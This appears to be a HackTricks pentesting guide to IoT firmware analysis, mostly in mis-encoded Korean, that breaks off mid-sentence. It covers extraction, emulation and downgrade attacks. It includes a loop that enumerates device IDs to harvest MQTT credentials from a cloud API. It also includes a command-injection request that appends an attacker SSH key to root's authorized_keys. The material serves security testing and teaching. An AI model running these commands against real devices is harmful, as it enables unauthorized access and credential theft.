ํ์จ์ด ๋ถ์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๊ฐ
๊ด๋ จ ๋ฆฌ์์ค
Synology Encrypted Archive Decryption
32100 Udp - Pentesting Pppp Cs2 P2p Cameras
Android Mediatek Secure Boot Bl2 Ext Bypass El3
ํ์จ์ด๋ ํ๋์จ์ด ๊ตฌ์ฑ์์์ ์ฌ์ฉ์๊ฐ ์ํธ์์ฉํ๋ ์ํํธ์จ์ด ๊ฐ์ ํต์ ์ ๊ด๋ฆฌํ๊ณ ์ด์งํจ์ผ๋ก์จ ์ฅ์น๊ฐ ์ฌ๋ฐ๋ฅด๊ฒ ์๋ํ๋๋ก ํ๋ ํ์ ์ํํธ์จ์ด์ ๋๋ค. ์๊ตฌ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋์ด ์ ์์ด ์ผ์ง๋ ์๊ฐ๋ถํฐ ์ฅ์น๊ฐ ์ค์ํ ๋ช ๋ น์ ์ก์ธ์คํ ์ ์๊ฒ ํ๋ฉฐ ์ด์์ฒด์ ์ ๋ถํ ์ผ๋ก ์ด์ด์ง๋๋ค. ํ์จ์ด๋ฅผ ๊ฒ์ฌํ๊ณ ํ์ํ ๊ฒฝ์ฐ ์์ ํ๋ ๊ฒ์ ๋ณด์ ์ทจ์ฝ์ ์ ์๋ณํ๋ ๋ฐ ์ค์ํ ๋จ๊ณ์ ๋๋ค.
์ ๋ณด ์์ง
์ ๋ณด ์์ง์ ์ฅ์น์ ๊ตฌ์ฑ๊ณผ ์ฌ์ฉ ๊ธฐ์ ์ ์ดํดํ๋ ๋ฐ ์์ด ์ค์ํ ์ด๊ธฐ ๋จ๊ณ์ ๋๋ค. ์ด ๊ณผ์ ์ ๋ค์ ํญ๋ชฉ๋ค์ ๋ํ ๋ฐ์ดํฐ๋ฅผ ์์งํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค:
- CPU ์ํคํ ์ฒ์ ์คํ ์ค์ธ ์ด์์ฒด์
- Bootloader ์ธ๋ถ์ฌํญ
- ํ๋์จ์ด ๊ตฌ์ฑ ๋ฐ ๋ฐ์ดํฐ์ํธ
- ์ฝ๋๋ฒ ์ด์ค ๋ฉํธ๋ฆญ ๋ฐ ์์ค ์์น
- ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฐ ๋ผ์ด์ ์ค ์ ํ
- ์ ๋ฐ์ดํธ ์ด๋ ฅ ๋ฐ ๊ท์ ์ธ์ฆ
- ์ํคํ ์ฒ ๋ฐ ํ๋ฆ๋
- ๋ณด์ ํ๊ฐ ๋ฐ ํ์ธ๋ ์ทจ์ฝ์
์ด ๋ชฉ์ ์ ์ํด, open-source intelligence (OSINT) ๋๊ตฌ๋ ๋งค์ฐ ์ ์ฉํ๋ฉฐ ์ฌ์ฉ ๊ฐ๋ฅํ ์คํ์์ค ์ํํธ์จ์ด ๊ตฌ์ฑ์์์ ๋ํ ์๋ ๋ฐ ์๋ ๋ฆฌ๋ทฐ ํ๋ก์ธ์ค์ ๋ถ์๋ ์ค์ํฉ๋๋ค. Coverity Scan๊ณผ Semmleโs LGTM ๊ฐ์ ๋๊ตฌ๋ ์ ์ฌ์ ๋ฌธ์ ๋ฅผ ์ฐพ๋ ๋ฐ ํ์ฉํ ์ ์๋ ๋ฌด๋ฃ ์ ์ ๋ถ์์ ์ ๊ณตํฉ๋๋ค.
ํ์จ์ด ํ๋
ํ์จ์ด ํ๋์ ๊ฐ๊ฐ ๋์ด๋๊ฐ ๋ค๋ฅธ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ผ๋ก ์ ๊ทผํ ์ ์์ต๋๋ค:
- ์ง์ ์์ค(๊ฐ๋ฐ์, ์ ์กฐ์ฌ)๋ก๋ถํฐ
- ์ ๊ณต๋ ์ง์นจ์ผ๋ก ๋น๋ํ์ฌ
- ๊ณต์ ์ง์ ์ฌ์ดํธ์์ ๋ค์ด๋ก๋
- ํธ์คํ ๋ ํ์จ์ด ํ์ผ์ ์ฐพ๊ธฐ ์ํ Google dork ์ฟผ๋ฆฌ ํ์ฉ
- cloud storage์ ์ง์ ์ ๊ทผ, S3Scanner ๊ฐ์ ๋๊ตฌ ์ฌ์ฉ
- updates๋ฅผ ๊ฐ๋ก์ฑ๋ man-in-the-middle ๊ธฐ๋ฒ
- UART, JTAG, ๋๋ PICit ๊ฐ์ ์ฐ๊ฒฐ์ ํตํด ์ฅ์น์์ ์ถ์ถ
- ์ฅ์น ํต์ ๋ด์์ ์ ๋ฐ์ดํธ ์์ฒญ์ ์ค๋ํ
- ํ๋์ฝ๋ฉ๋ ์ ๋ฐ์ดํธ ์๋ํฌ์ธํธ ์๋ณ ๋ฐ ์ฌ์ฉ
- ๋ถํธ๋ก๋๋ ๋คํธ์ํฌ์์ ๋คํ
- ๋ชจ๋ ๋ฐฉ๋ฒ์ด ์คํจํ ๊ฒฝ์ฐ ์ ์ ํ ํ๋์จ์ด ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ์ ์ฅ ์ฅ์น๋ฅผ ๋ถ๋ฆฌํ์ฌ ์ฝ๊ธฐ
ํ์จ์ด ๋ถ์
์ด์ have the firmware๊ฐ ์์ผ๋ฏ๋ก, ์ด๋ฅผ ์ด๋ป๊ฒ ๋ค๋ฃฐ์ง ์๊ธฐ ์ํด ํ์จ์ด์ ๋ํ ์ ๋ณด๋ฅผ ์ถ์ถํด์ผ ํฉ๋๋ค. ์ด๋ฅผ ์ํด ์ฌ์ฉํ ์ ์๋ ๋ค์ํ ๋๊ตฌ:
file <bin>
strings -n8 <bin>
strings -tx <bin> #print offsets in hex
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
ํด๋น ๋๊ตฌ๋ค๋ก ๋ง์ ๊ฒ์ ์ฐพ์ง ๋ชปํ๋ค๋ฉด ์ด๋ฏธ์ง์ ์ํธ๋กํผ๋ฅผ binwalk -E <bin>๋ก ํ์ธํด ๋ณด์ธ์. ์ํธ๋กํผ๊ฐ ๋ฎ์ผ๋ฉด ์ํธํ๋์ด ์์ ๊ฐ๋ฅ์ฑ์ ๋ฎ๊ณ , ์ํธ๋กํผ๊ฐ ๋์ผ๋ฉด ์ํธํ๋์๊ฑฐ๋(๋๋ ์ด๋ค ์์ผ๋ก๋ ์์ถ๋์ด) ์์ ๊ฐ๋ฅ์ฑ์ด ํฝ๋๋ค.
๋ํ, ์ด๋ฌํ ๋๊ตฌ๋ค๋ก ํ์จ์ด ๋ด๋ถ์ ํฌํจ๋ ํ์ผ๋ค์ ์ถ์ถํ ์ ์์ต๋๋ค:
File/Data Carving & Recovery Tools
๋๋ ํ์ผ์ ๊ฒ์ฌํ๊ธฐ ์ํด binvis.io (code)๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
ํ์ผ ์์คํ ์ป๊ธฐ
์์ ์ธ๊ธํ binwalk -ev <bin> ๊ฐ์ ๋๊ตฌ๋ค์ ์ฌ์ฉํ๋ฉด ํ์ผ ์์คํ
์ ์ถ์ถํ ์ ์์ต๋๋ค.
Binwalk๋ ๋ณดํต ์ด๋ฅผ ํ์ผ ์์คํ
์ ํ์ ์ด๋ฆ์ผ๋ก ํ ํด๋ ์์ ์ถ์ถํ๋๋ฐ, ๋ณดํต ๋ค์ ์ค ํ๋์
๋๋ค: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
์๋ ํ์ผ ์์คํ ์ถ์ถ
๋๋๋ก binwalk์ ์๊ทธ๋์ฒ์๋ ํ์ผ ์์คํ ์ ๋งค์ง ๋ฐ์ดํธ๊ฐ ํฌํจ๋์ด ์์ง ์์ ์ ์์ต๋๋ค. ์ด๋ฐ ๊ฒฝ์ฐ์๋ binwalk๋ฅผ ์ฌ์ฉํด ํ์ผ ์์คํ ์ ์คํ์ ์ ์ฐพ๊ณ ๋ฐ์ด๋๋ฆฌ์์ ์์ถ๋ ํ์ผ ์์คํ ์ carve(์ถ์ถ) ํ ๋ค์, ์๋ ๋จ๊ณ๋ฅผ ๋ฐ๋ผ ํด๋น ์ ํ์ ๋ง๊ฒ ์๋์ผ๋ก ํ์ผ ์์คํ ์ ์ถ์ถํ์ธ์.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
๋ค์ dd command๋ฅผ ์คํํ์ฌ Squashfs filesystem์ carvingํ์ธ์.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
๋๋ ๋ค์ ๋ช ๋ น์ ์คํํ ์๋ ์์ต๋๋ค.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
- squashfs์ ๊ฒฝ์ฐ (์ ์์ ์์ ์ฌ์ฉ๋จ)
$ unsquashfs dir.squashfs
ํ์ผ๋ค์ ์ดํ โsquashfs-rootโ ๋๋ ํฐ๋ฆฌ์ ์๊ฒ ๋ฉ๋๋ค.
- CPIO ์์นด์ด๋ธ ํ์ผ
$ cpio -ivd --no-absolute-filenames -F <bin>
- jffs2 ํ์ผ์์คํ ์ ๊ฒฝ์ฐ
$ jefferson rootfsfile.jffs2
- NAND ํ๋์๊ฐ ์๋ ubifs ํ์ผ์์คํ ์ ๊ฒฝ์ฐ
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
ํ์จ์ด ๋ถ์
ํ์จ์ด๋ฅผ ํ๋ณดํ ํ์๋ ๊ทธ ๊ตฌ์กฐ์ ์ ์ฌ์ ์ทจ์ฝ์ ์ ์ดํดํ๊ธฐ ์ํด ๋ถํดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ์ด ๊ณผ์ ์ ํ์จ์ด ์ด๋ฏธ์ง๋ฅผ ๋ถ์ํ๊ณ ์ ์ฉํ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ๊ธฐ ์ํด ๋ค์ํ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค.
์ด๊ธฐ ๋ถ์ ๋๊ตฌ
๋ฐ์ด๋๋ฆฌ ํ์ผ(์ดํ <bin>)์ ์ด๊ธฐ ๊ฒ์ฌ๋ฅผ ์ํด ๋ช ๊ฐ์ง ๋ช
๋ น์ด ์ ๊ณต๋ฉ๋๋ค. ์ด ๋ช
๋ น๋ค์ ํ์ผ ํ์
์๋ณ, ๋ฌธ์์ด ์ถ์ถ, ์ด์ง ๋ฐ์ดํฐ ๋ถ์, ํํฐ์
๋ฐ ํ์ผ์์คํ
์ธ๋ถ ์ ๋ณด ํ์
๋ฑ์ ๋์์ ์ค๋๋ค:
file <bin>
strings -n8 <bin>
strings -tx <bin> #prints offsets in hexadecimal
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
์ด๋ฏธ์ง์ ์ํธํ ์ํ๋ฅผ ํ๊ฐํ๊ธฐ ์ํด entropy๋ binwalk -E <bin>๋ก ํ์ธํฉ๋๋ค. ๋ฎ์ entropy๋ ์ํธํ๊ฐ ๋์ด ์์ง ์์์ ์์ฌํ๊ณ , ๋์ entropy๋ ์ํธํ ๋๋ ์์ถ ๊ฐ๋ฅ์ฑ์ ๋ํ๋
๋๋ค.
์๋ฒ ๋๋ embedded files๋ฅผ ์ถ์ถํ๊ธฐ ์ํด์๋ file-data-carving-recovery-tools ๋ฌธ์์ ํ์ผ ๊ฒ์ฌ์ฉ binvis.io ๊ฐ์ ๋๊ตฌ์ ๋ฆฌ์์ค๋ฅผ ๊ถ์ฅํฉ๋๋ค.
ํ์ผ์์คํ ์ถ์ถ
binwalk -ev <bin>๋ฅผ ์ฌ์ฉํ๋ฉด ๋๊ฐ ํ์ผ์์คํ
์ ์ถ์ถํ ์ ์์ผ๋ฉฐ, ์ข
์ข
ํ์ผ์์คํ
ํ์
์ด๋ฆ(์: squashfs, ubifs)์ ๋ด ๋๋ ํฐ๋ฆฌ์ ์ ์ฅ๋ฉ๋๋ค. ๊ทธ๋ฌ๋ magic bytes๊ฐ ์์ด binwalk๊ฐ ํ์ผ์์คํ
ํ์
์ ์ธ์ํ์ง ๋ชปํ๋ ๊ฒฝ์ฐ ์๋ ์ถ์ถ์ด ํ์ํฉ๋๋ค. ์ด ๊ฒฝ์ฐ binwalk๋ก ํ์ผ์์คํ
์ ์คํ์
์ ์ฐพ์ ๋ค์ dd ๋ช
๋ น์ผ๋ก ํ์ผ์์คํ
์ carveํด๋ด๋ฉด ๋ฉ๋๋ค:
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
๊ทธ๋ฐ ๋ค์ ํ์ผ์์คํ ์ ํ(์: squashfs, cpio, jffs2, ubifs)์ ๋ฐ๋ผ ๋ด์ฉ์ ์๋์ผ๋ก ์ถ์ถํ๊ธฐ ์ํ ๋ช ๋ น์ด ๋ฌ๋ผ์ง๋๋ค.
ํ์ผ์์คํ ๋ถ์
ํ์ผ์์คํ ์ ์ถ์ถํ ํ ๋ณด์ ์ทจ์ฝ์ ์ฐพ๊ธฐ๊ฐ ์์๋ฉ๋๋ค. insecure network daemons, ํ๋์ฝ๋ฉ๋ ์๊ฒฉ์ฆ๋ช , API endpoints, ์ ๋ฐ์ดํธ ์๋ฒ ๊ธฐ๋ฅ, ๋ฏธ์ปดํ์ผ ์ฝ๋, ์์ ์คํฌ๋ฆฝํธ, ๊ทธ๋ฆฌ๊ณ ์คํ๋ผ์ธ ๋ถ์์ ์ํ ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ ๋ฑ์ ์ฃผ๋ชฉํฉ๋๋ค.
๊ฒ์ฌํ ์ฃผ์ ์์น ๋ฐ ํญ๋ชฉ์๋ ๋ค์์ด ํฌํจ๋ฉ๋๋ค:
- etc/shadow ๋ฐ etc/passwd (์ฌ์ฉ์ ์๊ฒฉ์ฆ๋ช ํ์ธ)
- SSL certificates ๋ฐ ํค๊ฐ ์๋ etc/ssl
- ์ ์ฌ์ ์ทจ์ฝ์ ์ด ์๋ ๊ตฌ์ฑ ๋ฐ ์คํฌ๋ฆฝํธ ํ์ผ
- ์ถ๊ฐ ๋ถ์์ ์ํ ์๋ฒ ๋๋ ๋ฐ์ด๋๋ฆฌ
- ์ผ๋ฐ์ ์ธ IoT ๋๋ฐ์ด์ค ์น ์๋ฒ ๋ฐ ๋ฐ์ด๋๋ฆฌ
ํ์ผ์์คํ ๋ด ๋ฏผ๊ฐํ ์ ๋ณด์ ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๋ ๋ฐ ๋์์ด ๋๋ ๋๊ตฌ๋ค:
- LinPEAS ๋ฐ Firmwalker โ ๋ฏผ๊ฐํ ์ ๋ณด ๊ฒ์
- The Firmware Analysis and Comparison Tool (FACT) โ ํฌ๊ด์ ์ธ firmware analysis
- FwAnalyzer, ByteSweep, ByteSweep-go, ๋ฐ EMBA โ ์ ์ ๋ฐ ๋์ ๋ถ์
์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ์ ๋ํ ๋ณด์ ์ ๊ฒ
ํ์ผ์์คํ ์์ ์ฐพ์ ์์ค ์ฝ๋์ ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ ๋ชจ๋ ์ทจ์ฝ์ ์ ๋ํด ๋ฉด๋ฐํ ๊ฒํ ํด์ผ ํฉ๋๋ค. Unix ๋ฐ์ด๋๋ฆฌ์ฉ checksec.sh ๋ฐ Windows ๋ฐ์ด๋๋ฆฌ์ฉ PESecurity ๊ฐ์ ๋๊ตฌ๋ค์ ์ ์ฉ๋ ์ ์๋ ๋ณดํธ๋์ง ์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์๋ณํ๋ ๋ฐ ๋์์ ์ค๋๋ค.
ํ์๋ URL ํ ํฐ์ ํตํ cloud config ๋ฐ MQTT ์๊ฒฉ์ฆ๋ช ์์ง
๋ง์ IoT ํ๋ธ๋ ๋ค์๊ณผ ๊ฐ์ด ๊ฐ๋ณ ๋๋ฐ์ด์ค ๊ตฌ์ฑ์ ๊ฐ์ ธ์ค๋ ํด๋ผ์ฐ๋ ์๋ํฌ์ธํธ๋ฅผ ์ฌ์ฉํฉ๋๋ค:
firmware analysis ์ค์
- token = MD5( deviceId || STATIC_KEY ) and represented as uppercase hex
์ด ์ค๊ณ๋ deviceId์ STATIC_KEY๋ฅผ ์๊ฒ ๋ ๋๊ตฌ๋ URL์ ์ฌ๊ตฌ์ฑํ๊ณ cloud config๋ฅผ ๊ฐ์ ธ์ ์ข ์ข ํ๋ฌธ MQTT ์๊ฒฉ์ฆ๋ช ๊ณผ ํ ํฝ ์ ๋์ฌ๋ฅผ ๋ ธ์ถ์ํค๋๋ก ํฉ๋๋ค.
์ค์ ์ํฌํ๋ก์ฐ:
- UART ๋ถํธ ๋ก๊ทธ์์ deviceId ์ถ์ถ
- 3.3V UART ์ด๋ํฐ(TX/RX/GND)๋ฅผ ์ฐ๊ฒฐํ๊ณ ๋ก๊ทธ๋ฅผ ์บก์ฒ:
picocom -b 115200 /dev/ttyUSB0
- ์๋ฅผ ๋ค์ด cloud config URL pattern๊ณผ broker address๋ฅผ ์ถ๋ ฅํ๋ ๋ผ์ธ์ ์ฐพ์ผ์ธ์:
Online Config URL https://api.vendor.tld/pf/<deviceId>/<token>
MQTT: mqtt://mq-gw.vendor.tld:8001
- ํ์จ์ด์์ STATIC_KEY์ token ์๊ณ ๋ฆฌ์ฆ ์ถ์ถ
- ๋ฐ์ด๋๋ฆฌ๋ฅผ Ghidra/radare2์ ๋ก๋ํ๊ณ ์ค์ ๊ฒฝ๋ก (โ/pf/โ) ๋๋ MD5 ์ฌ์ฉ์ ๊ฒ์ํ๋ค.
- ์๊ณ ๋ฆฌ์ฆ์ ํ์ธํ๋ค (์: MD5(deviceId||STATIC_KEY)).
- Bash์์ token์ ์์ฑํ๊ณ digest๋ฅผ ๋๋ฌธ์๋ก ๋ณํ:
DEVICE_ID="d88b00112233"
STATIC_KEY="cf50deadbeefcafebabe"
printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}'
- cloud config ๋ฐ MQTT credentials ์์ง
- URL์ ๊ตฌ์ฑํ๊ณ curl๋ก JSON์ ๊ฐ์ ธ์จ ๋ค์ jq๋ก ํ์ฑํ์ฌ secrets๋ฅผ ์ถ์ถ:
API_HOST="https://api.vendor.tld"
TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
curl -sS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq .
# Fields often include: mqtt host/port, clientId, username, password, topic prefix (tpkfix)
- plaintext MQTT ๋ฐ weak topic ACLs(์๋ ๊ฒฝ์ฐ) ์ ์ฉ
- ๋ณต๊ตฌํ ์๊ฒฉ์ฆ๋ช ์ ์ฌ์ฉํ์ฌ maintenance topics๋ฅผ ๊ตฌ๋ (subscribe)ํ๊ณ ๋ฏผ๊ฐํ ์ด๋ฒคํธ๋ฅผ ์ฐพ์๋ณธ๋ค:
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v
- ์์ธก ๊ฐ๋ฅํ device IDs ๋์ด(๋๊ท๋ชจ๋ก, ๊ถํ ํ์)
- ๋ง์ ์ํ๊ณ๋ vendor OUI/product/type bytes๋ฅผ ํฌํจํ๊ณ ๊ทธ ๋ค์ ์์ฐจ์ ์ธ suffix๊ฐ ๋ถ์ต๋๋ค.
- candidate IDs๋ฅผ iterateํ์ฌ tokens๋ฅผ deriveํ๊ณ configs๋ฅผ programmatically๋ก fetchํ ์ ์์ต๋๋ค:
API_HOST="https://api.vendor.tld"; STATIC_KEY="cf50deadbeef"; PREFIX="d88b1603" # OUI+type
for SUF in $(seq -w 000000 0000FF); do
DEVICE_ID="${PREFIX}${SUF}"
TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
curl -fsS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq -r '.mqtt.username,.mqtt.password' | sed "/null/d" && echo "$DEVICE_ID"
done
์ฐธ๊ณ
- ํญ์ ๋๊ท๋ชจ mass enumeration์ ์๋ํ๊ธฐ ์ ์ ๋ช ์์ ์ธ ํ๊ฐ๋ฅผ ๋ฐ์ผ์ญ์์ค.
- ๊ฐ๋ฅํ ๊ฒฝ์ฐ ๋์ ํ๋์จ์ด๋ฅผ ์์ ํ์ง ์๊ณ secrets๋ฅผ ๋ณต๊ตฌํ๊ธฐ ์ํด emulation ๋๋ static analysis๋ฅผ ์ ํธํ์ญ์์ค.
ํ์จ์ด๋ฅผ ์๋ฎฌ๋ ์ดํธํ๋ ๊ณผ์ ์ ์ฅ์น์ ๋์ ๋๋ ๊ฐ๋ณ ํ๋ก๊ทธ๋จ์ ๋ํ dynamic analysis๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ด ์ ๊ทผ๋ฒ์ ํ๋์จ์ด ๋๋ architecture ์ข ์์ฑ์ผ๋ก ์ธํ ์ด๋ ค์์ด ์์ ์ ์์ง๋ง, root filesystem์ด๋ ํน์ binaries๋ฅผ Raspberry Pi์ ๊ฐ์ ์ํคํ ์ฒ์ endianness๊ฐ ์ผ์นํ๋ ์ฅ์น๋ก ์ฎ๊ธฐ๊ฑฐ๋ ๋ฏธ๋ฆฌ ๊ตฌ์ฑ๋ virtual machine์ผ๋ก ์ฎ๊ธฐ๋ฉด ์ถ๊ฐ ํ ์คํธ๊ฐ ์ฌ์์ง ์ ์์ต๋๋ค.
๊ฐ๋ณ Binaries ์๋ฎฌ๋ ์ด์
๋จ์ผ ํ๋ก๊ทธ๋จ์ ๊ฒ์ฌํ ๋๋ ํ๋ก๊ทธ๋จ์ endianness์ CPU architecture๋ฅผ ์๋ณํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค.
MIPS Architecture ์์
MIPS architecture binary๋ฅผ ์๋ฎฌ๋ ์ดํธํ๋ ค๋ฉด, ๋ค์ ๋ช ๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
file ./squashfs-root/bin/busybox
ํ์ํ ์๋ฎฌ๋ ์ด์ ๋๊ตฌ๋ฅผ ์ค์นํ๋ ค๋ฉด:
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
For MIPS (big-endian), qemu-mips is used, and for little-endian binaries, qemu-mipsel would be the choice.
ARM Architecture Emulation
ARM ๋ฐ์ด๋๋ฆฌ๋ ๊ณผ์ ์ ์ ์ฌํ๋ฉฐ, qemu-arm ์๋ฎฌ๋ ์ดํฐ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
Full System Emulation
Tools like Firmadyne, Firmware Analysis Toolkit, and others, facilitate full firmware emulation, automating the process and aiding in dynamic analysis.
Dynamic Analysis in Practice
์ด ๋จ๊ณ์์๋ ์ค์ ์ฅ์น ํ๊ฒฝ ๋๋ ์๋ฎฌ๋ ์ด์ ๋ ์ฅ์น ํ๊ฒฝ์ ์ฌ์ฉํด ๋ถ์์ ์งํํฉ๋๋ค. OS์ filesystem์ ๋ํ shell ์ ๊ทผ์ ์ ์งํ๋ ๊ฒ์ด ํ์์ ์ ๋๋ค. ์๋ฎฌ๋ ์ด์ ์ ํ๋์จ์ด ์ํธ์์ฉ์ ์๋ฒฝํ ์ฌํํ์ง ๋ชปํ ์ ์์ผ๋ฏ๋ก ๊ฐ๋ ์๋ฎฌ๋ ์ด์ ์ ์ฌ์์ํด์ผ ํฉ๋๋ค. ๋ถ์ ์ filesystem์ ์ฌ๊ฒํ ํ๊ณ , ๋ ธ์ถ๋ webpages์ network services๋ฅผ ๊ณต๋ตํ๋ฉฐ, bootloader ์ทจ์ฝ์ ์ ํ์ํด์ผ ํฉ๋๋ค. firmware ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ๋ ์ ์ฌ์ ๋ฐฑ๋์ด ์ทจ์ฝ์ ์ ์๋ณํ๋ ๋ฐ ์ค์ํฉ๋๋ค.
Runtime Analysis Techniques
๋ฐํ์ ๋ถ์์ ํ๋ก์ธ์ค๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ทธ ์ด์ ํ๊ฒฝ์์ ์ํธ์์ฉํ๋ฉด์ ์ํํ๋ฉฐ, gdb-multiarch, Frida, Ghidra ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ์ค๋จ์ (breakpoints)์ ์ค์ ํ๊ณ fuzzing ๋ฑ ๊ธฐ๋ฒ์ผ๋ก ์ทจ์ฝ์ ์ ์๋ณํฉ๋๋ค.
Binary Exploitation and Proof-of-Concept
์๋ณ๋ ์ทจ์ฝ์ ์ ๋ํ PoC๋ฅผ ๊ฐ๋ฐํ๋ ค๋ฉด ๋์ ์ํคํ ์ฒ์ ๋ํ ๊น์ ์ดํด์ ์ ์์ค ์ธ์ด๋ก์ ํ๋ก๊ทธ๋๋ฐ ๋ฅ๋ ฅ์ด ํ์ํฉ๋๋ค. ์๋ฒ ๋๋ ์์คํ ์์๋ ๋ฐ์ด๋๋ฆฌ ๋ฐํ์ ๋ณดํธ๊ฐ ๋๋ฌผ์ง๋ง, ์กด์ฌํ ๊ฒฝ์ฐ Return Oriented Programming (ROP) ๊ฐ์ ๊ธฐ๋ฒ์ด ํ์ํ ์ ์์ต๋๋ค.
Prepared Operating Systems for Firmware Analysis
Operating systems like AttifyOS and EmbedOS provide pre-configured environments for firmware security testing, equipped with necessary tools.
Prepared OSs to analyze Firmware
- AttifyOS: AttifyOS is a distro intended to help you perform security assessment and penetration testing of Internet of Things (IoT) devices. It saves you a lot of time by providing a pre-configured environment with all the necessary tools loaded.
- EmbedOS: Embedded security testing operating system based on Ubuntu 18.04 preloaded with firmware security testing tools.
Firmware Downgrade Attacks & Insecure Update Mechanisms
Even when a vendor implements cryptographic signature checks for firmware images, version rollback (downgrade) protection is frequently omitted. When the boot- or recovery-loader only verifies the signature with an embedded public key but does not compare the version (or a monotonic counter) of the image being flashed, an attacker can legitimately install an older, vulnerable firmware that still bears a valid signature and thus re-introduce patched vulnerabilities.
Typical attack workflow:
- Obtain an older signed image
- Grab it from the vendorโs public download portal, CDN or support site.
- Extract it from companion mobile/desktop applications (e.g. inside an Android APK under
assets/firmware/). - Retrieve it from third-party repositories such as VirusTotal, Internet archives, forums, etc.
- Upload or serve the image to the device via any exposed update channel:
- Web UI, mobile-app API, USB, TFTP, MQTT, etc.
- Many consumer IoT devices expose unauthenticated HTTP(S) endpoints that accept Base64-encoded firmware blobs, decode them server-side and trigger recovery/upgrade.
- After the downgrade, exploit a vulnerability that was patched in the newer release (for example a command-injection filter that was added later).
- Optionally flash the latest image back or disable updates to avoid detection once persistence is gained.
Example: Command Injection After Downgrade
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
์ทจ์ฝํ(๋ค์ด๊ทธ๋ ์ด๋๋) ํ์จ์ด์์๋ md5 ํ๋ผ๋ฏธํฐ๊ฐ ์
๋ ฅ๊ฐ ๊ฒ์ฆ ์์ด ์
ธ ๋ช
๋ น์ ์ง์ ์ฐ๊ฒฐ๋์ด ์์ ๋ช
๋ น ์ฃผ์
์ ํ์ฉํ๋ฉฐ(์ฌ๊ธฐ์๋ SSH ํค ๊ธฐ๋ฐ์ root ์ ๊ทผ ํ์ฉ), ์ดํ ํ์จ์ด ๋ฒ์ ์์๋ ๊ธฐ๋ณธ ๋ฌธ์ ํํฐ๋ฅผ ๋์
